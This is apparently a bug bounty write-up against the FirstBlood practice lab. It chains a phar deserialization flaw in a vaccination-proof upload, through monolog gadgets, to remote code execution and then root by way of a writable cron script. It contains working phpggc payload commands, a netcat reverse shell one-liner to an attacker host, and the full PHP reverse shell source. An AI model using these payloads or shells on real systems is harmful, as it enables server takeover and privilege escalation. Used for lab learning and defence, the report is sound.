FirstBlood-#958[COLLAB]Upload Proof of Vaccination is vulnerable to RCE
This issue was discovered on FirstBlood v2.0.0 (issues patched)



On 2021-10-27, mrrootsec Level 2 reported:

Dear FirstBlood security team, I found a vulnerability on your service. I hope this report will help you.

This RCE vulnerability is discovered with my mate mrroot, huge thanks to him!!

Summary

We can upload image files in Upload Proof of Vaccination. However, we can perform RCE by using some flaws.

Vulnerability Description(PoC)

In this report, I will write what I thought and why.

1. Upload functionality

First of all, I started to check upload functionality on /vaccination-manager/pub/upload-vaccination-proof.php.

From my research, I discover these things:

  • firstblood v2 checks uploaded file's magic bytes like GIF8...→treats it as .gif file.
    • because of this, I couldn't upload any other spoofed files like HTML, SVG,...
    • this means, whatever we upload firstblood v2 treats them as image 100% so we can't perform XSS via SVG or XXE etc
  • In other words, we can upload anything if we add magic bytes in file beginning

To sum up, I understand "The uploaded file should be either a jpg, png" is literally correct and I have to exploit something by following this rule.

2. checkproof.php

After uploading, we will be redirected to /vaccination-manager/pub/submit-vaccination-proof.php. In this endpoint, there is a JS snippet:

    $(document).ready(function () {
        fetch('/api/checkproof.php?proof=/app/firstblood/upload/6cde42ffaa5635c78e5d6f6826c9594bfa4e27a6.jpg')
                .then(response => response.json())
                .then(function (data) {
                    $('#checking-proof').addClass('d-none');

                    if (data == true)
                    {
                        $('#proof-thanks').removeClass('d-none');
                        $('#proof-header').text('Vaccination proof uploaded');
                    }
                    else
                    {
                        $('#proof-error').removeClass('d-none');
                        $('#proof-header').text('Error uploading vaccination proof');
                    }
                });
    })

OK, there is a /api/checkproof.php API endpoint and it takes proof param to work.

It's time to test!

If we go to that endpoint with correct proof param, then firstblood v2 returns true like below.

Next, from my research I discover these things:

  • proof=/true
    • not only file but also directory is OK
  • proof=/hoge→false
    • not exist file returns false
  • proof=https://<myserver>→false
    • http,https scheme do not seem acceptable

In my eyes, proof param and server-side accepts not only files but also directories looked weird. After some research, I found php has file_exist() function and it returns true or false if whether a file or directory exists. (from php manual page).

Why??? why does firstblood v2 prepared this function for API??? I googled and found the answer, file_exists() is sometimes vulnerable to PHP deserialization! (https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)

But from that article, I have to use phar:// scheme. If we use proof=phar://xxx then firstblood v2 always returns false...

But next discovery blew up my mind!

  • proof=file:///true
    • This can prove that the developer writes a php code like file_exists($user_input)!!

I quickly checked it on local php interactive shell and this proves my expectation seems correct!

php > var_dump(file_exists("file:///etc/passwd"));
bool(true)
php > var_dump(file_exists("phar:///etc/passwd"));
bool(false)
php > var_dump(file_exists("https://www.kinako-websec.top"));
bool(false)

According to mrroot,

this one file is checking for the files presented in the directory where phar will parse the provided file if it gets an error like we gave commands some of not executed ,so its giving false because of the output,file is already executing

Therefore it always returns false but phar:// works correctly!

3. library information

After that research, I started to construct attack payload.

All I need is malicious phar file that has image magic bytes.

Thanks to phpggc(https://github.com/ambionics/phpggc#pharggc), I can create it easily.

However, phpggc requires me to tell what php vulnerable library like Symfony or Laravel the target app uses...

So I completely got stuck. I couldn't find any clue about it.

However, my mate mrroot discovered composer.json disclosure!!!

{
"require": {
"monolog/monolog": "2.1.1"
}
}

Oh monolog!!!!!!!

And monolog's latest version is 2.3.5, it means they use kinda old version. This version may be vulnerable to php deserialization attack.

thanks to mrroot, we finally got all parts to exploit!!

And mrroot also discovered we can use phpggc to create malicious PoC.

phpggc also supports to create malicious image file containing phar data!!

4. perform RCE

  1. use phpggc and run this command ./phpggc -pj dummy.jpg -o malicious.phar monolog/rce7 system id
  2. upload malicious phar file
  3. access to /api/checkproof.php?proof=phar:///app/firstblood/upload/xxxxxx.jpg
  4. RCE completed!

mrroot proved that these steps are correct and finally performed RCE!!!

bonus stage!! privilege escalation on the container

From here, we will write privilege escalation on firstblood v2 container.

1. reverse shell and log in as fb-exec

First of all, we established reverse shell connection.

mrroot created the malicious phar file for reverse shell.

./phpggc -pj test.jpg -o 2.phar monolog/RCE1 system "nc -e /bin/bash <attackerip> <port>"

Now we can establish reverse shell connection and explore in firstblood v2 container.

What we discovered is:

  • almost all of php scripts like index.php are encrypted
  • no useful SUID binaries
  • we're in docker container

2. crontab and scheduler.php

After some recon, we discovered scheduler.php is not encrypted. What is more, this php file says very interesting thing.

<?php
http_response_code(404);

/*
Tell Raymond on the server team to turn off the crontab until we need it
-Patrice
*/

//file_put_contents('/root/schedule.log', sprintf("[%s] I'm alive!", date('Y-m-d H:i:s')), FILE_APPEND);

A message about crontab from Patrice!

Next, /app/docker/crontab file says:

* * * * * root cd /app/firstblood && php scheduler.php >> /dev/null 2>&1

This means every minute php scheduler.php is executed with root privilege!!

We checked if we can edit scheduler.php or not, and the answer is "YES"

ls -al scheduler.php
-rw-rw-r-x 1 root fb-exec 228 Oct 21 20:45 scheduler.php // writable

3. php reverse shell for root

So what we have to do is to prepare php reverse shell script and wait for that it's executed.

we used php-reverse-shell(https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php).

And we cannot use a editor like vi/vim so used here document.

cat <<EOF > scheduler.php
<?php

set_time_limit (0);
\$VERSION = "1.0";
\$ip = '<my ip>';  // CHANGE THIS
\$port = <my port>;       // CHANGE THIS
\$chunk_size = 1400;
\$write_a = null;
\$error_a = null;
\$shell = 'uname -a; w; id; /bin/sh -i';
\$daemon = 0;
\$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    \$pid = pcntl_fork();

    if (\$pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if (\$pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    \$daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
\$sock = fsockopen(\$ip, \$port, \$errno, \$errstr, 30);
if (!\$sock) {
    printit("\$errstr (\$errno)");
    exit(1);
}

// Spawn shell process
\$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

\$process = proc_open(\$shell, \$descriptorspec, \$pipes);

if (!is_resource(\$process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking(\$pipes[0], 0);
stream_set_blocking(\$pipes[1], 0);
stream_set_blocking(\$pipes[2], 0);
stream_set_blocking(\$sock, 0);

printit("Successfully opened reverse shell to \$ip:\$port");

while (1) {
    // Check for end of TCP connection
    if (feof(\$sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof(\$pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down \$sock, or some
    // command output is available on STDOUT or STDERR
    \$read_a = array(\$sock, \$pipes[1], \$pipes[2]);
    \$num_changed_sockets = stream_select(\$read_a, \$write_a, \$error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array(\$sock, \$read_a)) {
        if (\$debug) printit("SOCK READ");
        \$input = fread(\$sock, \$chunk_size);
        if (\$debug) printit("SOCK: \$input");
        fwrite(\$pipes[0], \$input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array(\$pipes[1], \$read_a)) {
        if (\$debug) printit("STDOUT READ");
        \$input = fread(\$pipes[1], \$chunk_size);
        if (\$debug) printit("STDOUT: \$input");
        fwrite(\$sock, \$input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array(\$pipes[2], \$read_a)) {
        if (\$debug) printit("STDERR READ");
        \$input = fread(\$pipes[2], \$chunk_size);
        if (\$debug) printit("STDERR: \$input");
        fwrite(\$sock, \$input);
    }
}

fclose(\$sock);
fclose(\$pipes[0]);
fclose(\$pipes[1]);
fclose(\$pipes[2]);
proc_close(\$process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit (\$string) {
    if (!\$daemon) {
        print "\$string";
    }
}

EOF

next, we started to open our server's port for reverse shell connection!

nc -lnvp 4444

4. we did it!!!

Finally, we can get root shell!!

Impact

  • The attacker can run shell commands through the application
  • This can lead to reverse shell establish and lateral movement to compromise more servers

Mitigation

  1. Introduce digital signatures and other integrity checks to stop malicious object creation or other data interfering
  2. Do Not Accept Serialized Objects from Untrusted Sources
  3. Execute strict constraints for the deserialization processes before object creation
  4. Use deserialization methods like JSON, XML, and YAML that are language-agnostic
  5. Check user input for checkproof.php and sanitize it. Specific schemes or wrappers like phar://, php:// are sometimes harmful

References

  1. https://resources.infosecinstitute.com/topic/10-steps-avoid-insecure-deserialization/
  2. https://blog.detectify.com/2018/03/21/owasp-top-10-insecure-deserialization/
  3. https://infosecwriteups.com/understanding-identifying-insecure-deserialization-vulnerabilities-f7fac5414bb3

Regards, kinako and mrroot

P1 CRITICAL

Endpoint: /vaccination-manager/pub/upload-vaccination-proof.php This bug makes use of the following vulnerabilities in a chain:

  • Deserialization
  • RCE
  • Information leak/disclosure


FirstBlood ID: 34
Vulnerability Type: Deserialization

This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.

FirstBlood ID: 35
Vulnerability Type: RCE

A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.

FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure

It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.